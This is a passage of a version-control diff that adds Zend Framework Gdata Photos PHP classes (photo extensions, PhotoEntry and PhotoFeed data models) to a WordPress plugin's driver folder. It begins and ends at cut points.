+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Photos
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * @see Zend_Gdata_Photos
+ */
+require_once 'Zend/Gdata/Photos.php';
+
+/**
+ * Represents the gphoto:user element used by the API.
+ * This class represents the username for a user.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Photos
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Photos_Extension_User extends Zend_Gdata_Extension
+{
+
+    protected $_rootNamespace = 'gphoto';
+    protected $_rootElement = 'user';
+
+    /**
+     * Constructs a new Zend_Gdata_Photos_Extension_User object.
+     *
+     * @param string $text (optional) The username to represent.
+     */
+    public function __construct($text = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Photos::$namespaces);
+        parent::__construct();
+        $this->setText($text);
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/Extension/Version.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/Extension/Version.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/Extension/Version.php	(revision 44)
@@ -0,0 +1,62 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Photos
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * @see Zend_Gdata_Photos
+ */
+require_once 'Zend/Gdata/Photos.php';
+
+/**
+ * Represents the gphoto:version element used by the API.
+ * This number is used for optimistic concurrency, and does not
+ * increase linearly.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Photos
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Photos_Extension_Version extends Zend_Gdata_Extension
+{
+
+    protected $_rootNamespace = 'gphoto';
+    protected $_rootElement = 'version';
+
+    /**
+     * Constructs a new Zend_Gdata_Photos_Extension_Version object.
+     *
+     * @param string $text (optional) The value to represent.
+     */
+    public function __construct($text = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Photos::$namespaces);
+        parent::__construct();
+        $this->setText($text);
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/Extension/Weight.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/Extension/Weight.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/Extension/Weight.php	(revision 44)
@@ -0,0 +1,62 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Photos
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * @see Zend_Gdata_Photos
+ */
+require_once 'Zend/Gdata/Photos.php';
+
+/**
+ * Represents the gphoto:weight element used by the API.
+ * This indicates the weight of a tag, based on the number of times
+ * it appears in photos under the current element.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Photos
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Photos_Extension_Weight extends Zend_Gdata_Extension
+{
+
+    protected $_rootNamespace = 'gphoto';
+    protected $_rootElement = 'weight';
+
+    /**
+     * Constructs a new Zend_Gdata_Photos_Extension_Weight object.
+     *
+     * @param string $text (optional) The value to represent.
+     */
+    public function __construct($text = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Photos::$namespaces);
+        parent::__construct();
+        $this->setText($text);
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/Extension/Width.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/Extension/Width.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/Extension/Width.php	(revision 44)
@@ -0,0 +1,61 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Photos
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+/**
+ * @see Zend_Gdata_Photos
+ */
+require_once 'Zend/Gdata/Photos.php';
+
+/**
+ * Represents the gphoto:width element used by the API.
+ * This indicates the width of a photo in pixels.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Photos
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Photos_Extension_Width extends Zend_Gdata_Extension
+{
+
+    protected $_rootNamespace = 'gphoto';
+    protected $_rootElement = 'width';
+
+    /**
+     * Constructs a new Zend_Gdata_Photos_Extension_Width object.
+     *
+     * @param string $text (optional) The value to represent.
+     */
+    public function __construct($text = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Photos::$namespaces);
+        parent::__construct();
+        $this->setText($text);
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/PhotoEntry.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/PhotoEntry.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/PhotoEntry.php	(revision 44)
@@ -0,0 +1,690 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Photos
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_MediaEntry
+ */
+require_once 'Zend/Gdata/Media/Entry.php';
+
+/**
+ * @see Zend_Gdata_Photos_Extension_PhotoId
+ */
+require_once 'Zend/Gdata/Photos/Extension/PhotoId.php';
+
+/**
+ * @see Zend_Gdata_Photos_Extension_Version
+ */
+require_once 'Zend/Gdata/Photos/Extension/Version.php';
+
+/**
+ * @see Zend_Gdata_Photos_Extension_AlbumId
+ */
+require_once 'Zend/Gdata/Photos/Extension/AlbumId.php';
+
+/**
+ * @see Zend_Gdata_Photos_Extension_Id
+ */
+require_once 'Zend/Gdata/Photos/Extension/Id.php';
+
+/**
+ * @see Zend_Gdata_Photos_Extension_Width
+ */
+require_once 'Zend/Gdata/Photos/Extension/Width.php';
+
+/**
+ * @see Zend_Gdata_Photos_Extension_Height
+ */
+require_once 'Zend/Gdata/Photos/Extension/Height.php';
+
+/**
+ * @see Zend_Gdata_Photos_Extension_Size
+ */
+require_once 'Zend/Gdata/Photos/Extension/Size.php';
+
+/**
+ * @see Zend_Gdata_Photos_Extension_Client
+ */
+require_once 'Zend/Gdata/Photos/Extension/Client.php';
+
+/**
+ * @see Zend_Gdata_Photos_Extension_Checksum
+ */
+require_once 'Zend/Gdata/Photos/Extension/Checksum.php';
+
+/**
+ * @see Zend_Gdata_Photos_Extension_Timestamp
+ */
+require_once 'Zend/Gdata/Photos/Extension/Timestamp.php';
+
+/**
+ * @see Zend_Gdata_Photos_Extension_CommentingEnabled
+ */
+require_once 'Zend/Gdata/Photos/Extension/CommentingEnabled.php';
+
+/**
+ * @see Zend_Gdata_Photos_Extension_CommentCount
+ */
+require_once 'Zend/Gdata/Photos/Extension/CommentCount.php';
+
+/**
+ * @see Zend_Gdata_Exif_Extension_Tags
+ */
+require_once 'Zend/Gdata/Exif/Extension/Tags.php';
+
+/**
+ * @see Zend_Gdata_Geo_Extension_GeoRssWhere
+ */
+require_once 'Zend/Gdata/Geo/Extension/GeoRssWhere.php';
+
+/**
+ * @see Zend_Gdata_App_Extension_Category
+ */
+require_once 'Zend/Gdata/App/Extension/Category.php';
+
+/**
+ * Data model class for a Comment Entry.
+ *
+ * To transfer user entries to and from the servers, including
+ * creating new entries, refer to the service class,
+ * Zend_Gdata_Photos.
+ *
+ * This class represents <atom:entry> in the Google Data protocol.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Photos
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Photos_PhotoEntry extends Zend_Gdata_Media_Entry
+{
+
+    protected $_entryClassName = 'Zend_Gdata_Photos_PhotoEntry';
+
+    /**
+     * gphoto:id element
+     *
+     * @var Zend_Gdata_Photos_Extension_Id
+     */
+    protected $_gphotoId = null;
+
+    /**
+     * gphoto:albumid element
+     *
+     * @var Zend_Gdata_Photos_Extension_AlbumId
+     */
+    protected $_gphotoAlbumId = null;
+
+    /**
+     * gphoto:version element
+     *
+     * @var Zend_Gdata_Photos_Extension_Version
+     */
+    protected $_gphotoVersion = null;
+
+    /**
+     * gphoto:width element
+     *
+     * @var Zend_Gdata_Photos_Extension_Width
+     */
+    protected $_gphotoWidth = null;
+
+    /**
+     * gphoto:height element
+     *
+     * @var Zend_Gdata_Photos_Extension_Height
+     */
+    protected $_gphotoHeight = null;
+
+    /**
+     * gphoto:size element
+     *
+     * @var Zend_Gdata_Photos_Extension_Size
+     */
+    protected $_gphotoSize = null;
+
+    /**
+     * gphoto:client element
+     *
+     * @var Zend_Gdata_Photos_Extension_Client
+     */
+    protected $_gphotoClient = null;
+
+    /**
+     * gphoto:checksum element
+     *
+     * @var Zend_Gdata_Photos_Extension_Checksum
+     */
+    protected $_gphotoChecksum = null;
+
+    /**
+     * gphoto:timestamp element
+     *
+     * @var Zend_Gdata_Photos_Extension_Timestamp
+     */
+    protected $_gphotoTimestamp = null;
+
+    /**
+     * gphoto:commentCount element
+     *
+     * @var Zend_Gdata_Photos_Extension_CommentCount
+     */
+    protected $_gphotoCommentCount = null;
+
+    /**
+     * gphoto:commentingEnabled element
+     *
+     * @var Zend_Gdata_Photos_Extension_CommentingEnabled
+     */
+    protected $_gphotoCommentingEnabled = null;
+
+    /**
+     * exif:tags element
+     *
+     * @var Zend_Gdata_Exif_Extension_Tags
+     */
+    protected $_exifTags = null;
+
+    /**
+     * georss:where element
+     *
+     * @var Zend_Gdata_Geo_Extension_GeoRssWhere
+     */
+    protected $_geoRssWhere = null;
+
+    /**
+     * Create a new instance.
+     *
+     * @param DOMElement $element (optional) DOMElement from which this
+     *          object should be constructed.
+     */
+    public function __construct($element = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Photos::$namespaces);
+        parent::__construct($element);
+
+        $category = new Zend_Gdata_App_Extension_Category(
+            'http://schemas.google.com/photos/2007#photo',
+            'http://schemas.google.com/g/2005#kind');
+        $this->setCategory(array($category));
+    }
+
+    /**
+     * Retrieves a DOMElement which corresponds to this element and all
+     * child properties.  This is used to build an entry back into a DOM
+     * and eventually XML text for application storage/persistence.
+     *
+     * @param DOMDocument $doc The DOMDocument used to construct DOMElements
+     * @return DOMElement The DOMElement representing this element and all
+     *          child properties.
+     */
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        if ($this->_gphotoAlbumId !== null) {
+            $element->appendChild($this->_gphotoAlbumId->getDOM($element->ownerDocument));
+        }
+        if ($this->_gphotoId !== null) {
+            $element->appendChild($this->_gphotoId->getDOM($element->ownerDocument));
+        }
+        if ($this->_gphotoVersion !== null) {
+            $element->appendChild($this->_gphotoVersion->getDOM($element->ownerDocument));
+        }
+        if ($this->_gphotoWidth !== null) {
+            $element->appendChild($this->_gphotoWidth->getDOM($element->ownerDocument));
+        }
+        if ($this->_gphotoHeight !== null) {
+            $element->appendChild($this->_gphotoHeight->getDOM($element->ownerDocument));
+        }
+        if ($this->_gphotoSize !== null) {
+            $element->appendChild($this->_gphotoSize->getDOM($element->ownerDocument));
+        }
+        if ($this->_gphotoClient !== null) {
+            $element->appendChild($this->_gphotoClient->getDOM($element->ownerDocument));
+        }
+        if ($this->_gphotoChecksum !== null) {
+            $element->appendChild($this->_gphotoChecksum->getDOM($element->ownerDocument));
+        }
+        if ($this->_gphotoTimestamp !== null) {
+            $element->appendChild($this->_gphotoTimestamp->getDOM($element->ownerDocument));
+        }
+        if ($this->_gphotoCommentingEnabled !== null) {
+            $element->appendChild($this->_gphotoCommentingEnabled->getDOM($element->ownerDocument));
+        }
+        if ($this->_gphotoCommentCount !== null) {
+            $element->appendChild($this->_gphotoCommentCount->getDOM($element->ownerDocument));
+        }
+        if ($this->_exifTags !== null) {
+            $element->appendChild($this->_exifTags->getDOM($element->ownerDocument));
+        }
+        if ($this->_geoRssWhere !== null) {
+            $element->appendChild($this->_geoRssWhere->getDOM($element->ownerDocument));
+        }
+        return $element;
+    }
+
+    /**
+     * Creates individual Entry objects of the appropriate type and
+     * stores them as members of this entry based upon DOM data.
+     *
+     * @param DOMNode $child The DOMNode to process
+     */
+    protected function takeChildFromDOM($child)
+    {
+        $absoluteNodeName = $child->namespaceURI . ':' . $child->localName;
+
+        switch ($absoluteNodeName) {
+            case $this->lookupNamespace('gphoto') . ':' . 'albumid';
+                $albumId = new Zend_Gdata_Photos_Extension_AlbumId();
+                $albumId->transferFromDOM($child);
+                $this->_gphotoAlbumId = $albumId;
+                break;
+            case $this->lookupNamespace('gphoto') . ':' . 'id';
+                $id = new Zend_Gdata_Photos_Extension_Id();
+                $id->transferFromDOM($child);
+                $this->_gphotoId = $id;
+                break;
+            case $this->lookupNamespace('gphoto') . ':' . 'version';
+                $version = new Zend_Gdata_Photos_Extension_Version();
+                $version->transferFromDOM($child);
+                $this->_gphotoVersion = $version;
+                break;
+            case $this->lookupNamespace('gphoto') . ':' . 'width';
+                $width = new Zend_Gdata_Photos_Extension_Width();
+                $width->transferFromDOM($child);
+                $this->_gphotoWidth = $width;
+                break;
+            case $this->lookupNamespace('gphoto') . ':' . 'height';
+                $height = new Zend_Gdata_Photos_Extension_Height();
+                $height->transferFromDOM($child);
+                $this->_gphotoHeight = $height;
+                break;
+            case $this->lookupNamespace('gphoto') . ':' . 'size';
+                $size = new Zend_Gdata_Photos_Extension_Size();
+                $size->transferFromDOM($child);
+                $this->_gphotoSize = $size;
+                break;
+            case $this->lookupNamespace('gphoto') . ':' . 'client';
+                $client = new Zend_Gdata_Photos_Extension_Client();
+                $client->transferFromDOM($child);
+                $this->_gphotoClient = $client;
+                break;
+            case $this->lookupNamespace('gphoto') . ':' . 'checksum';
+                $checksum = new Zend_Gdata_Photos_Extension_Checksum();
+                $checksum->transferFromDOM($child);
+                $this->_gphotoChecksum = $checksum;
+                break;
+            case $this->lookupNamespace('gphoto') . ':' . 'timestamp';
+                $timestamp = new Zend_Gdata_Photos_Extension_Timestamp();
+                $timestamp->transferFromDOM($child);
+                $this->_gphotoTimestamp = $timestamp;
+                break;
+            case $this->lookupNamespace('gphoto') . ':' . 'commentingEnabled';
+                $commentingEnabled = new Zend_Gdata_Photos_Extension_CommentingEnabled();
+                $commentingEnabled->transferFromDOM($child);
+                $this->_gphotoCommentingEnabled = $commentingEnabled;
+                break;
+            case $this->lookupNamespace('gphoto') . ':' . 'commentCount';
+                $commentCount = new Zend_Gdata_Photos_Extension_CommentCount();
+                $commentCount->transferFromDOM($child);
+                $this->_gphotoCommentCount = $commentCount;
+                break;
+            case $this->lookupNamespace('exif') . ':' . 'tags';
+                $exifTags = new Zend_Gdata_Exif_Extension_Tags();
+                $exifTags->transferFromDOM($child);
+                $this->_exifTags = $exifTags;
+                break;
+            case $this->lookupNamespace('georss') . ':' . 'where';
+                $geoRssWhere = new Zend_Gdata_Geo_Extension_GeoRssWhere();
+                $geoRssWhere->transferFromDOM($child);
+                $this->_geoRssWhere = $geoRssWhere;
+                break;
+            default:
+                parent::takeChildFromDOM($child);
+                break;
+
+        }
+    }
+
+    /**
+     * Get the value for this element's gphoto:albumid attribute.
+     *
+     * @see setGphotoAlbumId
+     * @return string The requested attribute.
+     */
+    public function getGphotoAlbumId()
+    {
+        return $this->_gphotoAlbumId;
+    }
+
+    /**
+     * Set the value for this element's gphoto:albumid attribute.
+     *
+     * @param string $value The desired value for this attribute.
+     * @return Zend_Gdata_Photos_Extension_AlbumId The element being modified.
+     */
+    public function setGphotoAlbumId($value)
+    {
+        $this->_gphotoAlbumId = $value;
+        return $this;
+    }
+
+    /**
+     * Get the value for this element's gphoto:id attribute.
+     *
+     * @see setGphotoId
+     * @return string The requested attribute.
+     */
+    public function getGphotoId()
+    {
+        return $this->_gphotoId;
+    }
+
+    /**
+     * Set the value for this element's gphoto:id attribute.
+     *
+     * @param string $value The desired value for this attribute.
+     * @return Zend_Gdata_Photos_Extension_Id The element being modified.
+     */
+    public function setGphotoId($value)
+    {
+        $this->_gphotoId = $value;
+        return $this;
+    }
+
+    /**
+     * Get the value for this element's gphoto:version attribute.
+     *
+     * @see setGphotoVersion
+     * @return string The requested attribute.
+     */
+    public function getGphotoVersion()
+    {
+        return $this->_gphotoVersion;
+    }
+
+    /**
+     * Set the value for this element's gphoto:version attribute.
+     *
+     * @param string $value The desired value for this attribute.
+     * @return Zend_Gdata_Photos_Extension_Version The element being modified.
+     */
+    public function setGphotoVersion($value)
+    {
+        $this->_gphotoVersion = $value;
+        return $this;
+    }
+
+    /**
+     * Get the value for this element's gphoto:width attribute.
+     *
+     * @see setGphotoWidth
+     * @return string The requested attribute.
+     */
+    public function getGphotoWidth()
+    {
+        return $this->_gphotoWidth;
+    }
+
+    /**
+     * Set the value for this element's gphoto:width attribute.
+     *
+     * @param string $value The desired value for this attribute.
+     * @return Zend_Gdata_Photos_Extension_Width The element being modified.
+     */
+    public function setGphotoWidth($value)
+    {
+        $this->_gphotoWidth = $value;
+        return $this;
+    }
+
+    /**
+     * Get the value for this element's gphoto:height attribute.
+     *
+     * @see setGphotoHeight
+     * @return string The requested attribute.
+     */
+    public function getGphotoHeight()
+    {
+        return $this->_gphotoHeight;
+    }
+
+    /**
+     * Set the value for this element's gphoto:height attribute.
+     *
+     * @param string $value The desired value for this attribute.
+     * @return Zend_Gdata_Photos_Extension_Height The element being modified.
+     */
+    public function setGphotoHeight($value)
+    {
+        $this->_gphotoHeight = $value;
+        return $this;
+    }
+
+    /**
+     * Get the value for this element's gphoto:size attribute.
+     *
+     * @see setGphotoSize
+     * @return string The requested attribute.
+     */
+    public function getGphotoSize()
+    {
+        return $this->_gphotoSize;
+    }
+
+    /**
+     * Set the value for this element's gphoto:size attribute.
+     *
+     * @param string $value The desired value for this attribute.
+     * @return Zend_Gdata_Photos_Extension_Size The element being modified.
+     */
+    public function setGphotoSize($value)
+    {
+        $this->_gphotoSize = $value;
+        return $this;
+    }
+
+    /**
+     * Get the value for this element's gphoto:client attribute.
+     *
+     * @see setGphotoClient
+     * @return string The requested attribute.
+     */
+    public function getGphotoClient()
+    {
+        return $this->_gphotoClient;
+    }
+
+    /**
+     * Set the value for this element's gphoto:client attribute.
+     *
+     * @param string $value The desired value for this attribute.
+     * @return Zend_Gdata_Photos_Extension_Client The element being modified.
+     */
+    public function setGphotoClient($value)
+    {
+        $this->_gphotoClient = $value;
+        return $this;
+    }
+
+    /**
+     * Get the value for this element's gphoto:checksum attribute.
+     *
+     * @see setGphotoChecksum
+     * @return string The requested attribute.
+     */
+    public function getGphotoChecksum()
+    {
+        return $this->_gphotoChecksum;
+    }
+
+    /**
+     * Set the value for this element's gphoto:checksum attribute.
+     *
+     * @param string $value The desired value for this attribute.
+     * @return Zend_Gdata_Photos_Extension_Checksum The element being modified.
+     */
+    public function setGphotoChecksum($value)
+    {
+        $this->_gphotoChecksum = $value;
+        return $this;
+    }
+
+    /**
+     * Get the value for this element's gphoto:timestamp attribute.
+     *
+     * @see setGphotoTimestamp
+     * @return string The requested attribute.
+     */
+    public function getGphotoTimestamp()
+    {
+        return $this->_gphotoTimestamp;
+    }
+
+    /**
+     * Set the value for this element's gphoto:timestamp attribute.
+     *
+     * @param string $value The desired value for this attribute.
+     * @return Zend_Gdata_Photos_Extension_Timestamp The element being modified.
+     */
+    public function setGphotoTimestamp($value)
+    {
+        $this->_gphotoTimestamp = $value;
+        return $this;
+    }
+
+    /**
+     * Get the value for this element's gphoto:commentCount attribute.
+     *
+     * @see setGphotoCommentCount
+     * @return string The requested attribute.
+     */
+    public function getGphotoCommentCount()
+    {
+        return $this->_gphotoCommentCount;
+    }
+
+    /**
+     * Set the value for this element's gphoto:commentCount attribute.
+     *
+     * @param string $value The desired value for this attribute.
+     * @return Zend_Gdata_Photos_Extension_CommentCount The element being modified.
+     */
+    public function setGphotoCommentCount($value)
+    {
+        $this->_gphotoCommentCount = $value;
+        return $this;
+    }
+
+    /**
+     * Get the value for this element's gphoto:commentingEnabled attribute.
+     *
+     * @see setGphotoCommentingEnabled
+     * @return string The requested attribute.
+     */
+    public function getGphotoCommentingEnabled()
+    {
+        return $this->_gphotoCommentingEnabled;
+    }
+
+    /**
+     * Set the value for this element's gphoto:commentingEnabled attribute.
+     *
+     * @param string $value The desired value for this attribute.
+     * @return Zend_Gdata_Photos_Extension_CommentingEnabled The element being modified.
+     */
+    public function setGphotoCommentingEnabled($value)
+    {
+        $this->_gphotoCommentingEnabled = $value;
+        return $this;
+    }
+
+    /**
+     * Get the value for this element's exif:tags attribute.
+     *
+     * @see setExifTags
+     * @return string The requested attribute.
+     */
+    public function getExifTags()
+    {
+        return $this->_exifTags;
+    }
+
+    /**
+     * Set the value for this element's exif:tags attribute.
+     *
+     * @param string $value The desired value for this attribute.
+     * @return Zend_Gdata_Exif_Extension_Tags The element being modified.
+     */
+    public function setExifTags($value)
+    {
+        $this->_exifTags = $value;
+        return $this;
+    }
+
+    /**
+     * Get the value for this element's georss:where attribute.
+     *
+     * @see setGeoRssWhere
+     * @return string The requested attribute.
+     */
+    public function getGeoRssWhere()
+    {
+        return $this->_geoRssWhere;
+    }
+
+    /**
+     * Set the value for this element's georss:where attribute.
+     *
+     * @param string $value The desired value for this attribute.
+     * @return Zend_Gdata_Geo_Extension_GeoRssWhere The element being modified.
+     */
+    public function setGeoRssWhere($value)
+    {
+        $this->_geoRssWhere = $value;
+        return $this;
+    }
+
+    /**
+     * Get the value for this element's media:group attribute.
+     *
+     * @see setMediaGroup
+     * @return string The requested attribute.
+     */
+    public function getMediaGroup()
+    {
+        return $this->_mediaGroup;
+    }
+
+    /**
+     * Set the value for this element's media:group attribute.
+     *
+     * @param string $value The desired value for this attribute.
+     * @return Zend_Gdata_Media_Extension_MediaGroup The element being modified.
+     */
+    public function setMediaGroup($value)
+    {
+        $this->_mediaGroup = $value;
+        return $this;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/PhotoFeed.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/PhotoFeed.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/PhotoFeed.php	(revision 44)
@@ -0,0 +1,558 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Photos
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Photos
+ */
+require_once 'Zend/Gdata/Photos.php';
+
+/**
+ * @see Zend_Gdata_Feed
+ */
+require_once 'Zend/Gdata/Feed.php';
+
+/**
+ * @see Zend_Gdata_Photos_PhotoEntry
+ */
+require_once 'Zend/Gdata/Photos/PhotoEntry.php';
+
+/**
+ * Data model for a collection of photo entries, usually
+ * provided by the Picasa servers.
+ *
+ * For information on requesting this feed from a server, see the
+ * service class, Zend_Gdata_Photos.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Photos
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Photos_PhotoFeed extends Zend_Gdata_Feed
+{
+
+    /**
+     * gphoto:id element
+     *
+     * @var Zend_Gdata_Photos_Extension_Id
+     */
+    protected $_gphotoId = null;
+
+    /**
+     * gphoto:albumid element
+     *
+     * @var Zend_Gdata_Photos_Extension_AlbumId
+     */
+    protected $_gphotoAlbumId = null;
+
+    /**
+     * gphoto:version element
+     *
+     * @var Zend_Gdata_Photos_Extension_Version
+     */
+    protected $_gphotoVersion = null;
+
+    /**
+     * gphoto:width element
+     *
+     * @var Zend_Gdata_Photos_Extension_Width
+     */
+    protected $_gphotoWidth = null;
+
+    /**
+     * gphoto:height element
+     *
+     * @var Zend_Gdata_Photos_Extension_Height
+     */
+    protected $_gphotoHeight = null;
+
+    /**
+     * gphoto:size element
+     *
+     * @var Zend_Gdata_Photos_Extension_Size
+     */
+    protected $_gphotoSize = null;
+
+    /**
+     * gphoto:client element
+     *
+     * @var Zend_Gdata_Photos_Extension_Client
+     */
+    protected $_gphotoClient = null;
+
+    /**
+     * gphoto:checksum element
+     *
+     * @var Zend_Gdata_Photos_Extension_Checksum
+     */
+    protected $_gphotoChecksum = null;
+
+    /**
+     * gphoto:timestamp element
+     *
+     * @var Zend_Gdata_Photos_Extension_Timestamp
+     */
+    protected $_gphotoTimestamp = null;
+
+    /**
+     * gphoto:commentCount element
+     *
+     * @var Zend_Gdata_Photos_Extension_CommentCount
+     */
+    protected $_gphotoCommentCount = null;
+
+    /**
+     * gphoto:commentingEnabled element
+     *
+     * @var Zend_Gdata_Photos_Extension_CommentingEnabled
+     */
+    protected $_gphotoCommentingEnabled = null;
+
+    /**
+     * media:group element
+     *
+     * @var Zend_Gdata_Media_Extension_MediaGroup
+     */
+    protected $_mediaGroup = null;
+
+    protected $_entryClassName = 'Zend_Gdata_Photos_PhotoEntry';
+    protected $_feedClassName = 'Zend_Gdata_Photos_PhotoFeed';
+
+    protected $_entryKindClassMapping = array(
+        'http://schemas.google.com/photos/2007#comment' => 'Zend_Gdata_Photos_CommentEntry',
+        'http://schemas.google.com/photos/2007#tag' => 'Zend_Gdata_Photos_TagEntry'
+    );
+
+    public function __construct($element = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Photos::$namespaces);
+        parent::__construct($element);
+    }
+
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        if ($this->_gphotoId != null) {
+            $element->appendChild($this->_gphotoId->getDOM($element->ownerDocument));
+        }
+        if ($this->_gphotoVersion != null) {
+            $element->appendChild($this->_gphotoVersion->getDOM($element->ownerDocument));
